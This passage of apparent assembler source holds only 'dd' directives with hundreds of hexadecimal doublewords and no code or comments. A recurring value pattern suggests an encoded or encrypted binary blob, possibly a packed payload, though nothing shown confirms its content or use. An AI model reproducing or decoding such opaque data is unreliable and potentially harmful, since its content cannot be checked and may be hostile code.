75BDDB56h, 3DBA3256h, 0E2F0465h, 0A030589Eh, 57B1BB9Ah dd 0ABB8B159h, 6ED13256h, 0DB6EB678h, 75D08AE3h, 0BAB4DB56h dd 1D943256h, 0AEC2148Fh, 563C3D56h, 5EB13256h, 0D8583256h dd 0CCB13256h, 1BC0917Ah, 46806BB1h, 0FD705E32h, 0BA583256h dd 3FB13256h, 0FA3AA005h, 7454E3C4h, 0F7E3703Dh, 7E76F681h dd 0DA5035F1h, 5DB153AAh dd 0AEB13BBFh, 0B19F2456h, 93D88451h, 0D5B18A2Eh, 0EAB6B759h dd 24D13256h, 690E3D0Dh, 5DB1C737h, 0AEB7B859h, 7D13256h dd 0CA61B908h, 0D54D3256h, 8B495256h, 7E583256h, 1EB13256h dd 55AC6FB7h, 290B350Ch, 4758765Eh, 0C2B13256h, 0E2A5966Dh dd 0BB58ED25h, 1544B236h, 0BA6F9752h, 5DBEDB56h, 0FF693256h dd 0E6D9FF77h, 44E18E58h, 1F971C00h, 0E5B132CCh, 75B135DBh dd 0BB3B3D56h, 0A4B13256h, 27BE3256h, 57B13257h, 42B132AFh dd 0D5B13244h, 795EA1FAh, 0ED5C2FF6h, 57BD4F74h, 93832BE7h dd 0AEB1C1D3h, 57B0B059h, 0AB493256h, 0D9595256h, 2EB13256h dd 3501D41h, 0C874EE62h, 3B59EE3Fh, 0D3E7EAD7h, 57A0DB0Ch dd 873D3256h, 0B956F937h, 0EBF5610Ch, 0D244C340h, 0DB9FFB97h dd 5D483256h, 0AEB1CB56h, 5B3D3DAAh, 42B13256h, 0D5B13251h dd 73160FD8h, 7544319Ch, 0BC3D3D56h, 3DB13256h, 4F3B6A00h dd 0A2B13237h, 0CDD13256h, 0B4BF1CE9h, 0EA483256h, 0FBBEC756h dd 0BAB13249h, 5DA3DB36h, 72893256h, 0AA2EA43Fh, 0FD52C6EFh dd 0FA8BB2Ch, 873A5C3Bh, 75B1B059h, 0BAD03256h, 5DB9DB56h dd 64723256h, 73884E43h, 2EBE2825h, 0D5B13245h, 0EABCB759h dd 7D583256h, 0B1B13256h, 0D49893A5h, 0AEAA2FB8h, 44585256h dd 0F6B13256h, 7416A792h, 50E35343h, 7F9E4872h, 42B22D45h dd 0D6D7F7D9h, 0AEB153A8h, 0A6305436h, 14E01682h, 9844C919h dd 0EAB1530Dh, 75B123BFh, 30C33E56h, 0B68BAB61h, 7C850EC5h dd 0F4DC338Bh, 0BF580B96h, 56B13256h, 0C55EED1Fh, 29A2B3BFh dd 0E2B8FF9Eh, 9DB5EF71h, 0AEEEB9C6h, 57B6DB56h, 13D3256h dd 289DFA63h, 3B132AEh, 75B13246h, 0C5D51F15h, 3ABF98A1h dd 7A5D45DEh, 0E269CC16h, 0AB493256h, 0D5B1CB56h, 0FD303D36h dd 9DB13256h, 0BAB13247h, 0F667D722h, 3981F70h, 5BFF5AC2h dd 3245CD42h, 0DAD16A9Fh, 51D7E3E9h, 14D0E515h, 0BF583256h dd 5CB13256h, 7AC0FBACh, 31D13256h, 0CDED9FE8h, 0B4FE1FECh dd 0EA4D3256h, 75B1C756h, 0DAB132AEh, 5DB153AFh, 0AEB0B359h dd 0AF4D3256h, 0A7583256h, 0A1B13256h, 0DB3025A0h, 6CD1F2E2h dd 0BA0B4B25h, 5B303D56h, 0CEB13256h, 36D16B05h, 0ABB1CE37h dd 0D5BDBA59h, 6EBE3256h, 75B13250h, 0BAB1BB59h, 5DB13256h dd 5BB132A3h, 58D13256h, 6D30ECE9h, 0F6B3728Ch, 3B13237h dd 75B13250h, 3F440DF7h, 5DB13ABEh, 3F59B236h, 57B3BF59h dd 723A3256h, 0B5B13237h, 0F466B330h, 75B15372h, 0BAB13EBFh dd 0BE292656h, 50ED1B4Ch, 0D281458Ah, 0A4B132B3h, 0D5B137D7h dd 61D75256h, 75B1539Ch, 46B132AFh, 0DABE3256h, 0AEB13246h dd 57B139BFh, 0BBB14C56h, 4D7FDDCEh, 4BE71A1Bh, 67583256h dd 0EB13256h, 6042F56Ah, 30331C2Ch, 5BFD4791h, 8BF75164h dd 3CB13292h, 0EAB13251h, 6C15DC88h, 0BA57FA39h, 0D6D75256h dd 0CF60B98Eh, 57443256h, 0ABB1CB56h, 0D5B122BFh, 7CA01C56h dd 0AED92581h, 0C805E940h, 0ED2FE7B4h, 47B132C2h, 57B1325Dh dd 958C7D39h, 23818053h, 0EA01AAEDh, 7F3C3D56h, 0DAB13256h dd 0D0BE5336h, 0AEB13256h, 0A2B13237h, 0BA583256h, 0EEB13256h dd 9237BFh, 87372EAFh, 8F51110Dh, 0DE4FBF40h, 22BE3256h dd 57B13250h, 20FB8636h, 0D5B153A5h, 3B132AFh, 75B1325Ch dd 761AB6E2h, 0AE4F4FE2h, 0AEB1117Ch, 57B137BFh, 0F0F31856h dd 54BEC505h, 0EAB1325Ah, 75B7B559h, 32BE3256h, 5DB13256h dd 0AE483256h, 57B8DB56h, 25B33256h, 0F970722Bh, 0EA237A12h dd 743C3D56h, 4FB13256h, 5D493256h, 0A0313D56h, 0BEB13256h dd 0ABB1325Fh, 0EE75A9F8h, 80BE1C67h, 89B13208h, 36BE3256h dd 5DB13257h, 0A2313DAAh, 0BEB13256h, 0ABB13251h, 3F62D394h dd 0EA42B39Fh, 75A3DB56h, 0B53D3256h, 0A8EC3B2Eh, 3336F7CDh dd 77ADA19Dh, 807CD0ACh, 20D13256h, 8B788D59h, 75B6B259h dd 3DBE3256h, 5DB13257h, 0A1B132AEh, 57B138D7h, 533A5256h dd 50EAC1D7h, 0EAD0686Eh, 62313D56h, 53B13256h, 5DB13244h dd 0E0A7661Ah, 0C980B9E4h, 358E9662h, 0E32AC2ACh, 0EAB1ACC0h dd 75B0B159h, 42443256h, 0EBD13256h, 0AA363D5Ah, 31B13256h dd 0CAE168EDh, 0D5493256h, 0E53C3D56h, 9CB13256h, 0BAB1325Ch dd 2BB3BE3Ch, 0C9507CC1h, 57B1D5B3h, 0ABB4B259h, 84D13256h dd 0EAD0CA0Eh, 7D313D56h, 0B5B13256h, 5DB130D5h, 0AED05256h dd 44323D56h, 42B13256h, 0D5B13258h, 4278B1A9h, 6BE1F52h dd 0C1692641h, 5DB1525Bh, 0AEBEDA36h, 0F7373256h, 0B5295B00h dd 0BFDE39D9h, 6AD2A668h, 2F46B9C8h, 0BABCB559h, 5A593256h dd 0C5B13256h, 0F8512F53h, 0CAEFABD7h, 0DD583256h, 0D5B13256h dd 0EB0D6E91h, 0BA06D80Fh, 0D6D75256h, 0A75853AFh, 0E5B13256h dd 61BB26AFh, 36F35080h, 8A4D3256h, 0B70E3D36h, 0DBD0F5DDh dd 0D6D13256h, 0AC3E3D85h, 0E5B13256h, 0ABB15313h, 3CB132AEh dd 0EAB1325Ch, 0C6D9A27h, 39A170Bh, 5DB13F8Ch, 0AF383D36h dd 0A2B13256h, 0ABB120BFh, 46C2F956h, 0D20C75B2h, 83CB073Ah dd 0D3AA459Bh, 3C2E783Dh, 0AEB139BFh, 43833D56h, 0A93656E3h dd 0F779C939h, 8CD13256h, 148D8EECh, 46483256h, 0DEBE3256h dd 0AEB13257h, 37B132AFh, 0E2DE3D7h, 0D5D046A3h, 0EAB1CE56h dd 0A277B236h, 45358C30h, 3DB13237h, 0AEB134BFh, 0F9277456h dd 0CDF3BBC3h, 0B42401ECh, 8AD13256h, 147FB930h, 15F8FDD7h dd 5DD06360h, 19BE5256h, 57A1DBACh, 0DCA3256h, 2C301F5h dd 8BF65AC5h, 7C72EA1Ah, 0B5D0A3F0h, 5DB12FDFh, 0BA585256h dd 5BB13256h, 9377E51h, 7678DEACh, 71F4CAAh, 0BB63E5FDh dd 0DAC09533h, 5DB15337h, 0AEBBBF59h, 31D13256h, 2A09CADDh dd 0B4EA4D78h, 0F9583256h, 71B13256h, 3E387DADh, 9BF540B8h dd 40B0DE24h, 0C64CB533h, 0ABB1BF63h, 0DAB132AAh, 0EAB122DCh dd 75BADB56h, 57923256h, 6E8D1258h, 91DCD783h, 0BEB132F7h dd 0ABB13253h, 0AAEA1C93h, 0EAB1CA32h, 9CB132AEh, 0BAB1325Bh dd 0D4BE91B4h, 0F954E512h, 8CA88AD8h, 0A4B13227h, 0D5B139D0h dd 0EAB7DB56h, 5B1F3256h, 3F6C9C78h, 5D443256h, 0BC3A3D56h dd 58B13256h, 0ABB13ED0h, 0D5B6DB56h, 2C8B3256h, 0DD4DE7CEh dd 0BAB1CBF7h, 0D62D8236h, 0AEB1538Fh, 57BADA36h, 0A46D3256h dd 779D451Eh, 6E5C03CEh, 2F66B954h, 3CD8D0D7h, 5DD04AC3h dd 4C305256h, 46C212D6h, 0CAA2FBD6h, 0D5B13ABFh, 0B619C356h dd 0A02F5219h, 0B5B132F4h, 5DB13EDCh, 0A83E3D56h, 58B13256h dd 0ABB132D6h, 0B5B13256h, 6377C5D7h, 67585875h, 0ECB13256h dd 5CD16AEAh, 0EB338D4Ch, 0D9CCB600h, 3B6D8330h, 5ED15301h dd 70352A4h, 75B1B459h, 0DBD03256h, 0D7BE3256h, 0AEB13242h dd 57B8DA36h, 91BD3256h, 271AD0B6h, 0B23ADFD8h, 14678D59h dd 0B1583256h, 99B13256h, 570E2542h, 0E92E3309h, 0AB4DF690h dd 0D5BEDB56h, 73BC3256h, 0D28778C6h, 0A6911C9Eh, 17F57469h dd 0CEB13264h, 0FC5CFAD7h, 0ABD062F1h, 5ED75256h, 0EAB1538Ch dd 75A6B859h, 0A8583256h, 5EB13256h, 53F7E420h, 0BAD3714Ch dd 682D11E1h, 7892E4FBh, 8AB13260h, 0F4D764A3h, 0E0F01780h dd 3DB13237h, 8A41B330h, 57BADBECh, 155B3256h, 9B2BD33Dh dd 893B1438h, 75B15308h, 0E4E16136h, 3C18870Eh, 0AEB121BFh dd 0C1F4F056h, 0F6930AB5h, 0B3D0D316h, 7B232344h, 0C32A428Ah dd 3DBE3256h, 5DB13259h dd 0AEB138BFh, 15B0CA56h, 949135D6h, 0D56CE36Ch, 8CD1CA56h dd 0FABECADDh, 0BAB13254h, 5DD05336h, 0AF303D56h, 0AFB13256h dd 0CBD13256h, 0F47BB330h, 8B6EB973h, 75B7BA59h, 39BE3256h dd 5DB13256h, 0AEB1C737h, 57B0B559h, 0AB4D3256h, 0D2383D56h dd 0E5B13256h, 75B133DFh, 0BAB1CB56h, 5DA1DA36h, 0D5B33256h dd 67807779h, 7C551129h, 0AF3300D3h, 33307D4Bh, 6DB2E0BBh dd 5805600Eh, 5DB15308h, 0AEB13BBFh, 7AC9C156h, 447A5BEDh dd 0D5B125CDh, 0EAB4BA59h, 0FFD13256h, 0BAD0CE98h, 5DA0DB56h dd 9E813256h, 0FFEF30B2h, 6917DA15h, 9A84399Bh, 0EA8B8675h dd 75B1CB56h, 42B132AAh, 50583256h, 8FB13256h, 1A90E340h dd 5CDD0061h, 726FEF47h, 0E2583256h, 2AB13256h, 40CE834Dh dd 5D7FEEF1h, 0A9363D56h, 58B13256h, 0ABB133DBh, 0D5B1CA56h dd 0EAB139BFh, 0A000E356h, 0CADA2DFDh, 0BA857D26h, 47D13256h dd 57B13253h, 5BC7B7F5h, 0D5BEDA11h, 0EA6B3256h, 0A72F950Ah dd 573ADC59h, 425CA810h, 6E0E3D2Bh, 57B1530Fh, 0ABB123BFh dd 0F4C82A56h, 8F803233h, 67B54546h, 0EE69D5A1h, 5DB10964h dd 700E3D36h, 57D0F9DDh, 0A6585256h, 0BEB13256h, 4EAAF6ADh dd 589BAF22h, 1B93633h, 5DB1CE37h, 0AEB126BFh, 85B63056h dd 0AF0BC88h, 3B34F979h, 0F59E8737h, 0EE33DF19h, 0BAB1CBAEh dd 0D10B5236h, 46BE32BEh, 57B1325Fh, 674CEAE0h, 0A2890CF0h dd 0E5D068CAh, 75B130DCh, 0DB7FB956h, 5D493256h, 0AEB1C756h dd 57BBB759h, 0AE583256h, 60B13256h, 0B845505Eh, 7E583256h dd 0E4B13256h, 0A6C52B2h, 6A9792A0h, 57B18632h, 0ABA3BF59h dd 54BE3256h, 0EAB1325Ah, 75B135BFh, 55AEBD56h, 33820DB9h dd 5B483256h, 0BFD13256h, 0ABB13247h, 8464C5C6h, 0FFCD2362h dd 8B139048h, 0DDB8F09Ch, 53586C0Bh, 5EB13256h, 529BD7D6h dd 18FA5EB0h, 8B0361DEh, 0EAB1538Eh, 75A6BF59h, 0A8583256h dd 0CBB13256h, 0AB26612Dh, 6ED325D7h, 699E844h, 0B5EC308Bh dd 13B1328Ah, 14D13256h, 0BA4D3256h, 5DB1CB56h, 0AEB1C7AEh dd 58B132AEh, 0ABB133D8h, 0D5B1CA56h, 0EAB13CBFh, 8FEFB656h dd 4F80C2E6h, 0D13954B1h, 57DA620Eh, 0BE443256h, 0ABB13250h dd 0B6D0664Bh, 0EAB13569h, 75B120BFh, 0FBA8DC56h, 0F32E03ECh dd 0D6F336Ah, 8E96663Dh, 0AB6E6C75h, 0D5A3DB56h, 9CE63256h dd 81E982C4h, 8079B126h, 0FE9B41E2h, 78B31E01h, 574D3256h dd 0ABB1CA56h, 2DB132AEh, 0FB583256h, 9B13256h, 84949CF0h dd 3B1F9BEBh, 11BD1507h, 607F66D2h, 0AB483256h, 0D5B1CA56h dd 0B3E25236h, 147AB930h, 0DAD0E1DCh, 3D6A8036h, 0D7095337h dd 36C23E20h, 15D13256h, 8210026Dh, 8B628D59h, 753F3D36h dd 8B13256h, 5DB153F2h, 0AEB138BFh, 36720256h, 4D2C2AA6h dd 0D50C7E62h, 52445256h, 5777B8Ah, 0DAB13237h, 520EF3D6h dd 0AED0CCE1h, 57BCDB56h, 7A823256h, 1CC592E2h, 8D18766Dh dd 15512AEBh, 0BAB153AFh, 5DA0DB36h, 0F99C3256h, 0D76C79D0h dd 0CCF34C1Eh, 7266541Ah, 6ABD3105h, 75D01FBAh, 5D75256h dd 5A597E24h, 29B13256h, 0B8E5C186h, 6F31D0DCh, 0D5D06C70h dd 0EB3F3D56h, 89B13256h, 0B5D13256h, 5DB132DAh, 0AED0CA56h dd 0E8BE5256h, 0CA62B980h, 0D5BDBB59h, 0ED583256h, 0DB13256h dd 7DFEAB84h, 5DB1AFFAh, 47B132AEh, 57B13253h, 913557FBh dd 29B132FEh, 62BE3256h, 75B13252h, 0DBD05236h, 0BE3B6236h dd 0AEB15308h, 57B6B759h, 1BD13256h, 270E3D34h, 140B5237h dd 7A92C61Ch, 0BAD0FDE1h, 5DBFDB56h, 82A93256h, 0A16CCBFBh dd 10C93398h, 5CAAE55Ch, 61BEC736h, 75B1324Fh, 0BAB126BFh dd 67B3DA56h, 0E206C2D0h, 59167E80h, 0C01CC44Ch, 0A2E9CB38h dd 0EAB153EAh, 75BDB059h, 3DBE3256h, 5DB13250h, 0AEB1B559h dd 57B13256h, 0ABB121BFh, 24B3DB56h, 6929865Fh, 0E8314A26h dd 7E78D588h, 5E09FA97h, 0AE483256h, 443B3D56h, 0A4B13256h dd 0D5B13FD6h, 0EAB9DB56h, 72C33256h, 1A4C9694h, 5DB16771h dd 7C063D36h, 57B3B859h, 0E3053256h, 20B13237h, 0E1583256h dd 0AEB13256h, 4F713DB2h, 8CA11DF6h, 0A258EA0Dh, 0F6B13256h dd 7BDD5793h, 345F4B8h, 0EA4A9C32h, 73585256h, 77B13256h dd 4777AE6Eh, 0CF43B9E8h, 0D9BE3256h, 0ABB1325Eh, 0D5B3B559h dd 8BD13256h, 7AD13256h, 0BAB130D2h, 3CEB6356h, 0BE583256h dd 2EB13256h, 3A6BC724h, 2360B702h, 0ADA9D3Ch, 7532C17Bh dd 0BABADB56h, 73F23256h, 2EC360BFh, 0B1C1E381h, 42B132F7h dd 0D5B1325Fh, 4C694B27h, 0A924A1E4h, 4FB13202h, 0DCD13256h dd 40066086h, 57BBDA4Bh, 46EE3256h, 0B8058E84h, 0A623888Eh dd 75B1530Ch, 42B132AFh, 54583256h, 73B13256h, 0B029AA45h dd 71D47105h, 9FB08A36h, 55D71C45h, 75D0CA26h, 0BAB1CE56h dd 5DB1CEAEh, 0AEB9BB59h, 0D6D13256h, 0CA1F4FA1h, 0D5B15342h dd 0EAB15336h, 75BDBD59h, 37BE3256h, 5DB13250h, 0AEB1B859h dd 46583256h, 10B13256h, 5E48E128h, 9E849C20h, 628D56DAh dd 0B1103721h, 5A583256h, 99B13256h, 6E40A067h, 0ABB1D491h dd 545B236h, 0EAA9BD59h, 66583256h, 0EAB13256h, 4395AC77h dd 320672B5h, 0BF60CD01h, 4387D7C2h, 0D5D0AB95h, 0EAB7DB56h dd 840B3256h, 318C7887h, 0D1BE3256h, 0AEB1325Ah, 57B7B159h dd 29BE3256h, 0D5B13256h, 62BE3256h, 75B13257h, 53B132A3h dd 5DB13253h, 0D215A80h, 0DCD152A3h, 523A54AEh, 0D5B1DA37h dd 6BEB3256h, 5B3EEBBCh, 0BABCDB50h, 70343256h, 0C32CBB90h dd 4225EA71h, 0CBA80EB0h, 0DA67B930h, 0EAB131D6h, 0F353B256h dd 3334BF37h, 0B4B71FC6h, 0AEB13259h, 7E0D4F44h, 0B3718EC8h dd 0CD32F2DBh, 0E51E86E0h, 75B13BD3h, 0A1095256h, 0CA92D30h dd 2C385309h, 519F480Ah, 0BA313D36h, 3CB13256h, 0EAB1325Ah dd 48435AEEh, 0EA4EE2F5h, 8B2187FEh, 0AEB5B259h, 0EFD73256h dd 0CBD01D5Eh, 5BBEE1DDh, 0EAB13254h, 0F8D05336h, 95E1B8D4h dd 45383D50h, 47B13256h, 57B13245h, 83288775h, 3E1FE634h dd 6F627811h, 74E86570h, 3388C887h, 73CB40D4h, 2ABE5250h dd 57B13252h, 0F1508C30h, 3DD0E8E2h, 0EAB1070Dh, 75BDB359h dd 38BE3256h, 5DB13250h, 0AEB1B559h, 25593256h, 0CBB13254h dd 7152CFEDh, 0E8363D3Ch, 0C5B13256h, 387653CEh, 5B9F4BA4h dd 0AEB13256h, 57B120BFh, 0BDA55756h, 0EFFDE958h, 10149A76h dd 0FADD58E3h, 0E8B0F6DFh, 5DA2BC59h, 0A0583256h, 0CBB13256h dd 0C140D7B7h, 0CE193496h, 4445EC4Eh, 5034F49Dh, 0ECB71A5Bh dd 0E5E35AAFh, 23BEAEFEh, 57B13247h, 0ABB13EBFh, 0FA43C056h dd 2C9BA04h, 566E5FD3h, 0B704CD52h, 3DB71A42h, 23278B04h dd 58EE7F96h, 0ABB137D1h, 93078856h, 67D01C4Ch, 5EDE6AD3h dd 0BD343D50h, 52B13256h, 0AEB133DEh, 0A848C756h, 0AE3C3D86h dd 0B5B13256h, 8BE8DCD6h, 7A2CB7DFh, 0D048347Eh, 5A393D52h dd 0A1B13256h, 57B133DAh, 0ABD9CE56h, 2DB13246h, 0E9BC723Eh dd 0C2BE5256h, 180F5486h, 5DDB53ABh, 6C3B5236h, 92E58A30h dd 0A93E3D37h, 5FB13256h, 3A4E539Ah, 23338536h, 0BAB122BEh dd 169A2D56h, 0FF139556h, 218BE03Dh, 4DB7D4A9h, 0B4EA6DB9h dd 0EAB121BFh, 63629F56h, 0B77E1355h, 36E68A3Ah, 2F6FDD3Eh dd 1C54316Ch, 0A4D1520Ch, 0D5B132D6h, 3F68B256h, 14EB6437h dd 3EBEF25Dh, 5DB132A5h dd 0AEB4B659h, 0ABD13256h, 22D0E3DDh, 0FBC8C0D4h, 0FC313D50h dd 9CB13256h, 0BAB13247h, 733F87B0h, 23998818h, 1D644406h dd 57131A8Fh, 0C633BB19h, 13B71C2Ch, 76BC72EFh, 0BB343D56h dd 0A8B13256h, 0A458CADDh, 0FEB13256h, 116203F0h, 2806952Dh dd 3710197h, 75B1325Ah, 2EEABFA3h, 0B5534598h, 0ADC8F899h dd 0ABD198A5h, 0C1496037h, 0D5D9C752h, 0E5B13246h, 75B139DBh dd 0BAB7DB56h, 1A713256h, 5222991Fh, 57B0B859h, 0C3443256h dd 0D5B13656h, 0EAB0BC59h, 1F493256h, 0BAB9DB56h, 9E33256h dd 499976DAh, 0C54EF0F5h, 0AD993DCBh, 0D5B8B359h, 8CD13256h dd 2FD7F0D7h, 53D0E5DDh, 5DB13245h, 0E98A709Ch, 0A3F6B74Ch dd 0D3EE2877h, 1E1AF32Fh, 0B098AE87h, 0C333BBAAh, 53B71C2Ah dd 5DB13245h, 6E8BDECBh, 8E8A5EE0h, 19627B49h, 0CC15DC88h dd 8B57FA39h, 75B122BFh, 36282356h, 0AEC520CDh, 0E3DEB6EEh dd 937D6973h, 7A30524Ch, 0D2F8553Fh, 0EAB13FBFh, 0D957F756h dd 4ADE43E4h, 3623C130h, 25D0DB73h, 79C8C0D3h, 0A7343D50h dd 0DAB13256h, 0EAB134DFh, 75313D56h, 79B13256h, 52D152AAh dd 2FD7ECE9h, 36B143B5h, 0BD44B091h, 0D5B1347Eh, 6CBE3216h dd 75B1325Ah, 0BAB135BFh, 0DF45A056h, 4A8102CAh, 57D4B091h dd 0BBB1347Eh, 0DD583256h, 65B13256h, 0DE3601D0h, 0DB8768B7h dd 3D44F1AFh, 0AEB123BFh, 83031356h, 0E71A36A8h, 448E2F3Ch dd 916A8951h, 0CF3ACF70h, 0BC9F4BA4h, 5D8EB1AFh, 0AE7CB659h dd 0DCD13256h, 0CAA584ACh, 0D7A14DD5h, 0EAD4B659h, 7C583256h dd 0CBB13256h, 0EF17EA2Fh, 0FA6DA7C5h, 53A14DD5h, 0ABC3B659h dd 5DBE3256h, 0EAB13248h, 75A9B759h, 0A9583256h, 23B13256h dd 28242FCEh, 98A29CFh, 7ABA7BB1h, 0D083B40Ah, 6948AF68h dd 7A582691h, 30B13256h, 0CFE25A09h, 7F2363DDh, 15DA93B3h dd 25582F04h, 3C4ECDA9h, 0EAB13251h, 44A7738Bh, 7D3C16F5h dd 5DB02211h, 0A8583256h, 51B13256h, 672965F9h, 2A70DBA5h dd 6BBECDA9h, 75B1325Eh, 0BAB3B859h, 3CD13256h, 0ADA17591h dd 58B13256h, 0ABB13AD3h, 0D3B5256h, 35DB8B30h, 75A2DB37h dd 6C043256h, 0D4E9B96Dh, 5BF50519h, 7DA62B2Ah, 0D1167A09h dd 2A30DB16h, 8B4DCDA9h, 75B13FBFh, 78A1D856h, 0A48CF2D1h dd 635C829Bh, 0BE725E8Ah, 0ABB1325Dh, 2CEB61Eh, 5EBF0BE0h dd 2042FDB1h, 63305436h, 0D6D065B4h, 47D1CBBAh, 57B13250h dd 0EEEFDB54h, 0D55967ACh, 0B0B13256h, 0E12BD8D7h, 0A9583478h dd 0EEB13256h, 3A77BC4Bh, 202C291Dh, 0B27FACBDh, 634DC37h dd 0EF582ED8h, 2EB13256h, 0B0D6029Fh, 5DB8B459h, 2ED13256h dd 0EFD78E83h, 20D0435Eh, 0FBCDD2E4h, 0EAB8DB50h, 0B87C3256h dd 519D1C6Ah, 0D6C9DFABh, 27483A13h, 4758CB50h, 51B13256h dd 8BABD49Dh, 0D0941066h, 807B9139h, 390C8A74h, 73CDD2D4h dd 0A6583650h, 0C5B13256h, 0FBC2884Dh, 0B43CF16Ah, 0EAB13ABFh dd 28F1BB56h, 2D8F8D70h, 9F4DFB10h, 28BE3252h, 57B13242h dd 0ABB13DBFh, 0DCA52456h, 0FF470087h, 65A444C6h, 0B864CCD1h dd 5DB0BA59h, 0CE4D3256h, 57B122BFh, 7F649256h, 201AE91Dh dd 26F80C4Fh, 0C2D5D784h, 0BA59C746h, 7B13256h, 3BD7D8D7h dd 5F583478h, 0A6B13256h, 0F5B4A69Eh, 1FEBEADBh, 90780DDh dd 814D3478h, 73CDD2E4h, 13353D50h, 0BEB13257h, 0ABB13251h dd 2285EDBEh, 61B8069Fh, 74323D68h, 42B13256h, 0D9BEEDDDh dd 0AEB13253h, 0FE6CA36h, 0E4073D37h, 0D3323D57h, 8AB13256h dd 0BA3A54AAh, 0BBF6C437h, 0F343DD6h, 47B13256h, 57B1325Bh dd 9535EBE8h, 996D3D8h, 4F036A18h, 1568312Ah, 0BAB135BFh dd 585A056h, 0E2B3A03Eh, 57B13EBFh, 57831556h, 306E2D29h dd 0AEC8E7B9h, 5E585311h, 42B13256h, 5DA2B059h, 47D13256h dd 57B1325Dh, 6B7700D7h, 0D980BB14h, 12F747B7h, 8C681937h dd 0BAB9B459h, 0DCD13256h, 0E15B588h, 37F2534Eh, 43618D59h dd 0D5B13259h, 0F7F744A5h, 4219F075h, 1335F071h, 0DD1AF7F1h dd 0CFEE75B6h, 0DCD75236h, 0A75953AFh, 0E3B13256h, 0BDA8CBCh dd 53DF7CCCh, 0DAEF51DCh, 1ED06937h, 0AB303D36h, 0ECB13256h dd 0A19C7EDAh, 0B460B930h, 0EEA0B7DDh, 0F1BE347Eh, 0BAB1324Eh dd 5DB121BFh, 0F8BF9956h, 0DD96269h, 79ECE631h, 0C9B0B8DAh dd 0B37CAA18h, 7508BFDDh, 0BD58347Eh, 30B13256h, 0C4433D70h dd 8F8A8015h, 0ABDBB059h, 0D9583256h, 0ABB13256h, 8F0116BEh dd 5E416F44h, 3D262194h, 0FD438559h, 36E86B05h, 2CBEEB6Dh dd 0D5B1321Eh, 0EABBBC59h, 70583256h, 63B13256h, 65D0C9E0h dd 0CEB5F4D5h, 57B2B759h, 20D73256h, 54BE6086h, 0EAB13256h dd 9C4D5308h, 454ECC29h, 5DA7B059h, 0BF583256h, 0A8B13256h dd 0F04108AAh, 8403FEFFh, 2EBF3B8Dh, 5B30B85Ah, 3EBEFD6Dh dd 5DB13272h, 0AEB13ABFh, 8D83FF56h, 1CAD6A1Eh, 6C0CBB8Eh dd 1FB71A56h, 8A4F09BFh, 0BAB7DBA9h, 93023256h, 0BF0B1342h dd 57A0DB37h, 0BCB23256h, 0F51E2B32h, 2A2B0941h, 19B4AA80h dd 43CEB926h, 0D6485295h, 0CED153AEh, 0D7718D59h, 43D04EA4h dd 0D5B13256h, 9D5BB30Ch, 15B71CC1h, 0BAB7BA59h, 92303256h dd 0A139B4E0h, 3669B930h, 0F96E8336h, 0D5B13ABEh, 4AD7BD56h dd 0F531D720h, 0DBE86D83h, 210788DDh, 26BE3478h, 57B13244h dd 0ABB13FBFh, 4E9B8956h, 0F0CB3396h, 80B9DC6Ch, 0BA08710Eh dd 0A8B13257h, 0A758F265h, 99B13256h, 13DFFA31h, 0AFB2B32Fh dd 0F85899A5h, 94B13256h, 0A2F2AA22h, 0AD1C3F20h, 203B4142h dd 0E5ED0F23h, 0ABBFDB97h, 4FA83256h, 1E528080h, 424D98CBh dd 254ECBDh, 2107B0DDh, 27493478h, 79CDD2D4h, 0ABBCDB50h dd 19FF3256h, 0E094401Fh, 0FEFA16C7h, 4FEA609Eh, 0A172CB37h dd 0AE59C736h, 0DB13256h, 339FD8D7h, 54D13478h, 0C62C6380h dd 6658533Ah, 38B13256h, 0A0348h, 7306B5A9h, 11A9C182h dd 0E3BDF089h, 5077DE9Ch, 0EC993F73h, 75BFDB00h, 61263256h dd 9D462751h, 530A239Bh, 21FC94EBh, 0B4DC0B3Eh, 0D5B8DB82h dd 0ED0C3256h, 0BD3DAA41h, 53D424CBh, 5DB1325Ch, 98087DFDh dd 7DF1F202h, 1E4E1184h, 0D399265Bh, 0EAA5BF59h, 7A583256h dd 0CB13256h, 0DCC2CC0h, 0D7F0C490h, 0BB031BDEh, 2E3C2517h dd 0D39A5D0Eh, 0EABAB659h, 0F4D13256h, 3B5C5B9Dh, 867EB25Ah dd 4761CD37h, 57B13246h, 0EA0409DEh, 9DC42E8h, 6D8105Ah dd 0EF3B4530h, 0B4585204h, 0F8B13256h, 0A93A4A27h, 413B7993h dd 0CBE4E522h, 1B3A54F2h, 12E1CA37h, 0A10ECA36h, 0DBD22BA8h dd 5D31323Eh, 16D75256h, 5D59C908h, 0FDB13256h, 4C40C082h dd 5678BDFAh, 2FE68723h, 0BADBCB37h, 5DB13DBFh, 995CD056h dd 93139204h, 7203D6F6h, 3C49BF16h, 934380A9h, 0FABE3478h dd 0BAB13258h, 5DB13BBFh, 853A6E56h, 885AB4A1h, 7B4EFA87h dd 0C140B336h, 8BD5641Ch, 723D3D0Eh, 0B5B13256h, 5DB133D9h dd 47D1CE56h, 57B13259h, 4FD79Ah, 0D6429F18h, 576C643Ah dd 14EE5810h, 0BABDDB0Ch, 33083256h, 0AD835E09h, 2373050Bh dd 0ABD90BF5h, 0DAB132D6h, 0EAB133DCh, 75DBCB56h, 0BAB6B459h dd 0D6BE3256h, 0AEB13257h, 0E103CDAFh, 42B71C2Ah, 0D5B1325Fh dd 1E3A7544h, 0B2CA2893h, 4261CD5Eh, 5DBCDB37h, 0AF53256h dd 0EBA83D9h, 5E98F70Bh, 1646A399h, 60D167AEh, 0A5E88A3h dd 31D04623h, 5DBFDBBAh dd 9D113256h, 776C19AFh, 0D456463h, 0BAA0480h, 0EAA0DB36h dd 0AAA53256h, 0DC211796h, 95768945h, 0D01D198h, 0AFD76783h dd 0ABB132BEh, 3F306856h, 0EC9FA842h, 75B120BFh, 0A28A7F56h dd 0E10652A8h, 0C5FAF6FDh, 0F224E08Ah, 0A466A553h, 0D5B13AD7h dd 0E8333D56h, 15B13256h, 0B2C4B937h, 0D6D76036h, 11BE6C95h dd 3559539Eh, 42B13258h, 0D5B13244h, 5A675A3Ah, 5929850Ah dd 6744B57Bh, 43B460CCh, 2DBE9AC4h, 57B13257h, 21D167AFh dd 2330548Bh, 8AD0F999h, 0CDE5D9D6h, 0F33EA663h, 123CD37h dd 0CEB71C2Ch, 0FC63B3AFh, 0CAA0116Ch, 0D258520Bh, 0A7B13256h dd 0BDDF6ADCh, 81D06069h, 0D8BE3E23h, 514ECDF4h, 59B2DAAAh dd 28BE3256h, 0D5B13251h, 0EAB0B059h, 14483256h, 0BF3D3DAEh dd 3DB13256h, 0CF738D59h, 7E0E529Fh, 